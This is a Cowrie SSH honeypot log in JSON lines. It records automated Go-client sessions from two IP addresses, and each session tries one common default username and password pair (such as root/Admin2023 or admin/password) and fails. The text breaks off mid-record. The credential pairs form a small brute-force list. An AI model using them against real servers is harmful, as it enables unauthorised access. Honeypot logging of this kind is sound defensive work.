{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:49.265095Z","src_ip":"192.109.200.78","session":"643dcac87c14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"12345678","message":"login attempt [test/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:49.597256Z","src_ip":"192.109.200.78","session":"643dcac87c14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:50.681350Z","src_ip":"192.109.200.78","session":"643dcac87c14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37412,"dst_ip":"10.17.0.5","dst_port":22,"session":"3010c4098ebe","protocol":"ssh","message":"New connection: 192.109.200.78:37412 (10.17.0.5:22) [session: 3010c4098ebe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:52.645053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:52.648212Z","src_ip":"192.109.200.78","session":"3010c4098ebe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:52.728531Z","src_ip":"192.109.200.78","session":"3010c4098ebe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"karel","password":"karel","message":"login attempt [karel/karel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:52.972947Z","src_ip":"192.109.200.78","session":"3010c4098ebe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:54.056777Z","src_ip":"192.109.200.78","session":"3010c4098ebe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":46432,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed48226f00f6","protocol":"ssh","message":"New connection: 27.71.230.31:46432 (159.203.135.109:22) [session: ed48226f00f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:55.528946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:55.562144Z","src_ip":"27.71.230.31","session":"ed48226f00f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37434,"dst_ip":"10.17.0.5","dst_port":22,"session":"37d05b42bdd5","protocol":"ssh","message":"New connection: 192.109.200.78:37434 (10.17.0.5:22) [session: 37d05b42bdd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:55.939514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:55.943766Z","src_ip":"192.109.200.78","session":"37d05b42bdd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:56.025472Z","src_ip":"192.109.200.78","session":"37d05b42bdd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:56.037728Z","src_ip":"27.71.230.31","session":"ed48226f00f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"redhat","message":"login attempt [admin1/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:56.271407Z","src_ip":"192.109.200.78","session":"37d05b42bdd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:57.355999Z","src_ip":"192.109.200.78","session":"37d05b42bdd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin2023","message":"login attempt [root/Admin2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:59.326102Z","src_ip":"27.71.230.31","session":"ed48226f00f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37458,"dst_ip":"10.17.0.5","dst_port":22,"session":"0083b6e770fa","protocol":"ssh","message":"New connection: 192.109.200.78:37458 (10.17.0.5:22) [session: 0083b6e770fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:59.417403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:59.423878Z","src_ip":"192.109.200.78","session":"0083b6e770fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:59.500736Z","src_ip":"192.109.200.78","session":"0083b6e770fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"gg","message":"login attempt [root1/gg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:35:59.817490Z","src_ip":"192.109.200.78","session":"0083b6e770fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:00.900692Z","src_ip":"192.109.200.78","session":"0083b6e770fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.8","message":"Connection lost after 5.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:01.298723Z","src_ip":"27.71.230.31","session":"ed48226f00f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59948,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8c45ce9816e","protocol":"ssh","message":"New connection: 192.109.200.78:59948 (10.17.0.5:22) [session: d8c45ce9816e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:02.747169Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:02.750381Z","src_ip":"192.109.200.78","session":"d8c45ce9816e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:02.831049Z","src_ip":"192.109.200.78","session":"d8c45ce9816e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"root","message":"login attempt [ubuntu/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:03.076755Z","src_ip":"192.109.200.78","session":"d8c45ce9816e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:04.159363Z","src_ip":"192.109.200.78","session":"d8c45ce9816e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59964,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4b82cc09c1a","protocol":"ssh","message":"New connection: 192.109.200.78:59964 (10.17.0.5:22) [session: b4b82cc09c1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:06.017434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:06.022391Z","src_ip":"192.109.200.78","session":"b4b82cc09c1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:06.103116Z","src_ip":"192.109.200.78","session":"b4b82cc09c1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password","message":"login attempt [admin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:06.346777Z","src_ip":"192.109.200.78","session":"b4b82cc09c1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:07.430550Z","src_ip":"192.109.200.78","session":"b4b82cc09c1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59974,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd709c538b5d","protocol":"ssh","message":"New connection: 192.109.200.78:59974 (10.17.0.5:22) [session: bd709c538b5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:09.352047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:09.386687Z","src_ip":"192.109.200.78","session":"bd709c538b5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:09.593074Z","src_ip":"192.109.200.78","session":"bd709c538b5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:09.851302Z","src_ip":"192.109.200.78","session":"bd709c538b5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:10.935681Z","src_ip":"192.109.200.78","session":"bd709c538b5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33670,"dst_ip":"10.17.0.5","dst_port":22,"session":"910414e9a53a","protocol":"ssh","message":"New connection: 192.109.200.78:33670 (10.17.0.5:22) [session: 910414e9a53a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:12.793765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:12.797949Z","src_ip":"192.109.200.78","session":"910414e9a53a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 